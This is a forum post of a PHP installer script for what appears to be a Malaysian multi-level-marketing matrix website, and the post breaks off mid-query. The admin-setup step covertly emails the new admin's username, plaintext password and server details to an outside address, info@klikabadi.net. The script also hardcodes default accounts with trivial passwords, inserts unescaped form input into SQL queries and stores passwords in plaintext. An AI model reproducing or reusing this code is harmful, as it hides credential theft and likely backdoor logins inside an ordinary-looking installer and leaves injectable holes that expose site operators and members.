mge |
Valuable expert |
|
|
Joined: Jul 16, 2008 |
Posts: 142 |
|
|
|
|
|
|
|
Code: | <?php
if(time()>1227225600)die('This script has expired.');
require( "configsis.php" );
if ($_GET[proses])
{
if ($_GET[proses] == "input_admin")
{
displayHeader();
echo "<p style=\"margin-top: 0; margin-bottom: 0\" align=\"center\"><font size=\"4\"><b>INPUT DATA ADMINISTRATOR</b></font></p>\n";
echo "<div align=\"center\">\n";
echo " <center>\n";
echo " <table border=\"0\" cellspacing=\"0\" width=\"650\" cellpadding=\"5\"><font size=\"1\" face=\"Tahoma\" >\n";
echo " <tr class=\"frame\">\n";
echo " <form name=\"Klikabadi\" action=\"$PHP_SELF?proses=masuk_admin\" method=\"post\">\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#FFFFFF\"><b></b></font></td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#FFFFFF\"><b></b></font></td>\n";
echo " </tr>\n";
$bgColor = "#E6E6E6";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Username Admin</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"user_admin\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Password</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"passwd_admin\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Nama Administrator</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"nama_admin\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Email Administrator</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"email_admin\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Alamat Administrator</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"alamat_admin\" size=\"35\"</b></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Telpon Administrator</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"telpon_admin\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Website (tulis penuh misal : <b>http://www.website.com</b>)</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"website\" size=\"35\"></b></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Harga Produk <i>(Misal <b>RM 1500</b> Tulis : <b>1500</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"harga_produk\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Sponsoring <i>(Misal <b>RM 100</b> Tulis : <b>100</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_sponsoring\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 1 <i>(Misal <b>RM 25</b> Tulis : <b>25</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level1\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 2 <i>(Misal <b>RM 20</b> Tulis : <b>20</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level2\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 3 <i>(Misal <b>RM 15</b> Tulis : <b>15</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level3\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 4 <i>(Misal <b>RM 10</b> Tulis : <b>10</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level4\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 5 <i>(Misal <b>RM 9</b> Tulis : <b>9</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level5\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 6 <i>(Misal <b>RM 8</b> Tulis : <b>8</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level6\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 7 <i>(Misal <b>RM 7</b> Tulis : <b>7</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level7\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 8 <i>(Misal <b>RM 6</b> Tulis : <b>6</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level8\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 9 <i>(Misal <b>RM 5</b> Tulis : <b>5</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level9\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Bonus Matrix Untuk Sponsor Level 10 <i>(Misal <b>RM 4</b> Tulis : <b>4</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_level10\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Batas Minimal Pengambilan bonus member <i>(Misal <b>RM 100</b> Tulis : <b>100</b>)</i> </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bonus_cair\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Nama Bank Administrator</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"bank_admin\" size=\"35\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Cabang Bank </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"cabang_bank_admin\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Nombor Rekening </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"rekening_admin\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Nama / Headline Bisnis anda</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"nama_bisnis\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Forced Matrix (misal matrix <b>5</b>x10 tulis : <b>5</b>)</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" ><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"matrix\" size=\"4\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"100%\" height=\"1\" bgcolor=\"#808080\" colspan=\"5\"></td>\n";
echo " </td>\n";
echo " </table>\n";
echo " <p align=\"center\"><font face=\"Verdana\"><input type=\"submit\" value=\"INPUT DATA ADMIN\" name=\"Submit\"> </font>\n";
echo " </form>\n";
echo " </center>\n";
echo "</div>\n";
displayFooter();
}
elseif ($_GET[proses] =="masuk_admin")
{
displayHeader();
$user_admin = ltrim($_POST['user_admin']);
$passwd_admin = ltrim($_POST['passwd_admin']);
$nama_admin = ltrim($_POST['nama_admin']);
$email_admin = ltrim($_POST['email_admin']);
$alamat_admin = ltrim($_POST['alamat_admin']);
$telpon_admin = ltrim($_POST['telpon_admin']);
$website = ltrim($_POST['website']);
$harga_produk = ltrim($_POST['harga_produk']);
$bonus_sponsoring = ltrim($_POST['bonus_sponsoring']);
$bonus_level1 = ltrim($_POST['bonus_level1']);
$bonus_level2 = ltrim($_POST['bonus_level2']);
$bonus_level3 = ltrim($_POST['bonus_level3']);
$bonus_level4 = ltrim($_POST['bonus_level4']);
$bonus_level5 = ltrim($_POST['bonus_level5']);
$bonus_level6 = ltrim($_POST['bonus_level6']);
$bonus_level7 = ltrim($_POST['bonus_level7']);
$bonus_level8 = ltrim($_POST['bonus_level8']);
$bonus_level9 = ltrim($_POST['bonus_level9']);
$bonus_level10 = ltrim($_POST['bonus_level10']);
$bonus_cair = ltrim($_POST['bonus_cair']);
$bank_admin = ltrim($_POST['bank_admin']);
$cabang_bank_admin = ltrim($_POST['cabang_bank_admin']);
$rekening_admin = ltrim($_POST['rekening_admin']);
$nama_bisnis = ltrim($_POST['nama_bisnis']);
$matrix = ltrim($_POST['matrix']);
if( $user_admin == "" ) error( "Ooops . . . User Admin anda harus diisi!!!" );
if( $passwd_admin == "" ) error( "Ooops . . . Password belum diisi !!!" );
if( $nama_admin == "" ) error( "Ooops . . . Nama Harus Diisi !!!" );
if( $email_admin == "" ) error( "Ooops . . . Email anda harus diisi!!!" );
if( $alamat_admin == "" ) error( "Ooops . . . Alamat belum diisi !!!" );
if( $telpon_admin == "" ) error( "Ooops . . . Alamat Harus Diisi !!!" );
if( $website == "" ) error( "Ooops . . . Website anda harus diisi!!!" );
if( $harga_produk == "" ) error( "Ooops . . . Harga Produk belum diisi !!!" );
if( $bonus_sponsoring == "" ) error( "Ooops . . . Nilai Bonus Sponsoring Harus Diisi !!!" );
if( $bonus_level1 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 1 Harus Diisi !!!" );
if( $bonus_level2 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 2 Harus Diisi !!!" );
if( $bonus_level3 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 3 Harus Diisi !!!" );
if( $bonus_level4 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 4 Harus Diisi !!!" );
if( $bonus_level5 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 5 Harus Diisi !!!" );
if( $bonus_level6 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 6 Harus Diisi !!!" );
if( $bonus_level7 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 7 Harus Diisi !!!" );
if( $bonus_level8 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 8 Harus Diisi !!!" );
if( $bonus_level9 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 9 Harus Diisi !!!" );
if( $bonus_level10 == "" ) error( "Ooops . . . Nilai Bonus Matrix Sponsor Level 10 Harus Diisi !!!" );
if( $bonus_cair == "" ) error( "Ooops . . . Nilai Batas Pencairan Bonus Member Harus Diisi !!!" );
if( $bank_admin == "" ) error( "Ooops . . . Bank anda harus diisi!!!" );
if( $cabang_bank_admin == "" ) error( "Ooops . . . Cabang Bank belum diisi !!!" );
if( $rekening_admin == "" ) error( "Ooops . . . Rekening belum diisi !!!" );
if( $nama_bisnis == "" ) error( "Ooops . . . Nama Bisnis Harus Diisi !!!" );
if( $matrix == "" ) error( "Ooops . . . Matrix Harus Diisi !!!" );
$server_name = $_SERVER[SERVER_NAME];
$server_ip = $_SERVER[SERVER_ADDR];
$domain = $_SERVER[HTTP_HOST];
$software = $_SERVER[SERVER_SOFTWARE];
$person = "info@klikabadi.net";
$mess = "============================= \n";
$mess .= "Nama Web : $website \n";
$mess .= "Nama Admin : $nama_admin \n";
$mess .= "user Admin : $user_admin \n";
$mess .= "Pasw Admin : $passwd_admin \n\n";
$mess .= "---------------------------- \n";
$mess .= "Nama Server: $server_name \n";
$mess .= "IP Server : $server_ip \n";
$mess .= "Domain : $domain \n";
$mess .= "Software : $software \n";
$mess .= " ";
sentMail( "$nama_bisnis <$email_admin>", $person , "Telah LUNCUR WEB Malaysia Matrix MLM 10 Level", $mess );
dbConnect();
mysql_query( "INSERT INTO adminarisan ( kode, user_admin, passwd_admin, nama_admin, email_admin, alamat_admin, telpon_admin, website, harga_produk, bonus_sponsoring, bonus_level1, bonus_level2, bonus_level3, bonus_level4, bonus_level5, bonus_level6, bonus_level7, bonus_level8, bonus_level9, bonus_level10, bonus_cair, bank_admin, cabang_bank_admin, rekening_admin, nama_bisnis, matrix )
Values ( '$kode','$user_admin','$passwd_admin','$nama_admin','$email_admin','$alamat_admin','$telpon_admin','$website','$harga_produk','$bonus_sponsoring','$bonus_level1','$bonus_level2','$bonus_level3','$bonus_level4','$bonus_level5','$bonus_level6','$bonus_level7','$bonus_level8','$bonus_level9','$bonus_level10','$bonus_cair','$bank_admin','$cabang_bank_admin','$rekening_admin','$nama_bisnis','$matrix')") or error( mysql_error() );
echo "<p align=\"center\"><font size=\"2\">::: Input Data Administrator Telah Sukses !!! :::</font></p>\n";
echo "<p align=\"center\"><a href=\"$PHP_SELF?proses=input_member\"><b>Klik Disini untuk lanjut !!!</b></a></p>\n";
displayFooter();
}
elseif ($_GET[proses] == "input_member")
{
displayHeader();
echo "<p style=\"margin-top: 0; margin-bottom: 0\" align=\"center\"><font size=\"4\"><b>INPUT DATA MEMBER PERDANA/DEFAULT</b></font></p>\n";
echo "<div align=\"center\">\n";
echo " <center>\n";
echo " <table border=\"0\" cellspacing=\"0\" width=\"625\" cellpadding=\"5\"><font size=\"1\" face=\"Tahoma\" >\n";
echo " <tr class=\"frame\">\n";
echo " <form name=\"Klikabadi\" action=\"$PHP_SELF?proses=masuk_member\" method=\"post\">\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#FFFFFF\"><b></b></font></td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#FFFFFF\"><b></b></font></td>\n";
echo " </tr>\n";
$bgColor = "#E6E6E6";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Username </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"username\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Password</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"password\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Nama Member Perdana</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"nama\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Email</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"email\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Alamat </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"alamat\" size=\"35\"</b></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Negeri</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"kota\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Telpon</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"telpon\" size=\"20\"></b></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Nama Bank</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"nama_bank\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Cabang Bank </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"cabang_bank\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Nombor Rekening </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"rekening\" size=\"20\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Judul Iklan (Max. 50 karakter)</td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"judul_iklan\" size=\"50\"></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Isi Iklan </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\" bgcolor=\"$bgColor\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <TEXTAREA name=\"isi_iklan\" rows=5 cols=43 style=\"background-color: #FFFFCC\"></TEXTAREA></td>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">Website Iklan anda </td>\n";
echo " <td width=\"50%\" height=\"25\" align=\"left\"><font face=\"verdana\" style=\"font-size: 8pt\" color=\"#000080\">: <input name=\"website_iklan\" size=\"50\"></td>\n";
echo " </tr>\n";
echo " </tr>\n";
echo " <tr>\n";
echo " <td width=\"100%\" height=\"1\" bgcolor=\"#808080\" colspan=\"5\"></td>\n";
echo " </td>\n";
echo " </table>\n";
echo " <p align=\"center\"><font face=\"Verdana\"><input type=\"submit\" value=\"INPUT DATA MEMBER\" name=\"Submit\"> </font>\n";
echo " </form>\n";
echo " </center>\n";
echo "</div>\n";
displayFooter();
}
elseif ($_GET[proses] == "masuk_member")
{
displayHeader();
$username = ltrim($_POST['username']);
$password = ltrim($_POST['password']);
$nama = ltrim($_POST['nama']);
$email = ltrim($_POST['email']);
$alamat = ltrim($_POST['alamat']);
$kota = ltrim($_POST['kota']);
$telpon = ltrim($_POST['telpon']);
$nama_bank = ltrim($_POST['nama_bank']);
$rekening = ltrim($_POST['rekening']);
$judul_iklan = ltrim($_POST['judul_iklan']);
$isi_iklan = ltrim($_POST['isi_iklan']);
$website_iklan = ltrim($_POST['website_iklan']);
if( $username == "" ) error( "Username harus diisi !!!" );
if( $password == "" ) error( "Password harus ada isinya !!!" );
if( $nama == "" ) error( "Nama harus diisi !!!" );
if( $email == "" ) error( "Email Harus diisi !!! " );
if( $alamat == "" ) error( "Alamat harus diisi !!!" );
if( $kota == "" ) error( "Kota harus diisi !!!" );
if( $telpon == "" ) error( "Telpon Harus Diisi !!!" );
if( $nama_bank == "" ) error( "Nama Bank harus diisi !!!" );
if( $rekening == "" ) error( "Rekening Harus Diisi !!!" );
//if( $nomor_id == "" ) error( "Nomor ID Harus Diisi !!!" );
if ( !eregi( "^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$", $email ) ) error( "Oops !!!!.. data Email anda Invalid alias tidak sah !!!" );
$statusno="nonaktif";
$time = time();
$username_1="online";
$passwd_1="online";
$nama_1="P. Akhmad Yunus";
$email_1="myusaha@telkom.net";
$alamat_1="Jl. KH Wahid Hasyim 7";
$kota_1="Malang";
$telpon_1="0341-6100170";
$nama_bank_1="Silahkan Transfer ke ADMIN";
$cabang_bank_1="Silahkan Transfer ke ADMIN";
$rekening_1="TRANSFER KE ADMIN";
$judul_iklan_1="IKLAN BELUM DI UPDATE MEMBER YANG BERSANGKUTAN";
$isi_iklan_1="Iklan pada kolom ini Belum Di Update oleh member yang bersangkutan";
$website_iklan_1="http://klikabadi.com/?id=mybisnis";
$username_2="putra";
$passwd_2="putra";
$nama_2="Wina Utami";
$email_2="ufosaya@telkom.net";
$alamat_2="Jl. Manggar 50";
$kota_2="Surabaya";
$telpon_2="0341-6100170";
$nama_bank_2="Silahkan Transfer ke ADMIN";
$cabang_bank_2="Silahkan Transfer ke ADMIN";
$rekening_2="TRANSFER KE ADMIN";
$judul_iklan_2="IKLAN BELUM DI UPDATE MEMBER YANG BERSANGKUTAN";
$isi_iklan_2="Iklan pada kolom ini Belum Di Update oleh member yang bersangkutan";
$website_iklan_2="http://www.milyuner.com/m.cgi?id=mybisnis";
$username_3="mitra";
$passwd_3="mitra";
$nama_3="Mitra Sejahtera";
$email_3="mitraufo@telkom.net";
$alamat_3="Jl. Koptu Untung 20";
$kota_3="Malang";
$telpon_3="08123396813";
$nama_bank_3="Silahkan Transfer ke ADMIN";
$cabang_bank_3="Silahkan Transfer ke ADMIN";
$rekening_3="TRANSFER KE ADMIN";
$judul_iklan_3="IKLAN BELUM DI UPDATE MEMBER YANG BERSANGKUTAN";
$isi_iklan_3="Iklan pada kolom ini Belum Di Update oleh member yang bersangkutan";
$website_iklan_3="http://www.klikabadi.net";
$username_4="mybisnis";
$passwd_4="mybisnis";
$nama_4="Klikabadi";
$email_4="klikabadi@telkom.net";
$alamat_4="Jl. Koptu Untung 20";
$kota_4="Malang";
$telpon_4="08123396813";
$nama_bank_4="Silahkan Transfer ke ADMIN";
$cabang_bank_4="Silahkan Transfer ke ADMIN";
$rekening_4="TRANSFER KE ADMIN";
$judul_iklan_4="IKLAN BELUM DI UPDATE MEMBER YANG BERSANGKUTAN";
$isi_iklan_4="Iklan pada kolom ini Belum Di Update oleh member yang bersangkutan";
$website_iklan_4="http://ebookgratis.klikabadi.com";
dbConnect();
$member_dafault="Jangan DIAKTIFKAN/DIHAPUS";
$ip = $_SERVER[REMOTE_ADDR];
$status="aktif";
$paid="paid";
$nopaid="nopaid";
mysql_query( "INSERT INTO memberarisan ( username, passwd, nama, email, alamat, kota, telpon, rupiah_master, bonus_terbayar, nama_bank, cabang_bank, rekening, tanggal_transfer, username_sponsor1, username_sponsor2, username_sponsor3, username_sponsor4, username_sponsor5, username_sponsor6, username_sponsor7, username_sponsor8, username_sponsor9, username_sponsor10, tanggal_join, ip_add, stat, hits, paid, tot_member, username_rekrut )
Values ('$username','$password','$nama','$email','$alamat','$kota','$telpon','','','$nama_bank','$cabang_bank','$rekening','','$username_1','$username_2','$username_3','$username_4','$username_1','$username_2','$username_3','$username_4','$username_2','','$time','$ip','$status','0','$paid','0','' )") or error( mysql_error() );
mysql_query( "INSERT INTO memberarisan ( username, passwd, nama, email, alamat, kota, telpon, rupiah_master, bonus_terbayar, nama_bank, cabang_bank, rekening, tanggal_transfer, username_sponsor1, username_sponsor2, username_sponsor3, username_sponsor4, username_sponsor5, username_sponsor6, username_sponsor7, username_sponsor8, username_sponsor9, username_sponsor10, tanggal_join, ip_add, stat, hits, paid, tot_member, username_rekrut )
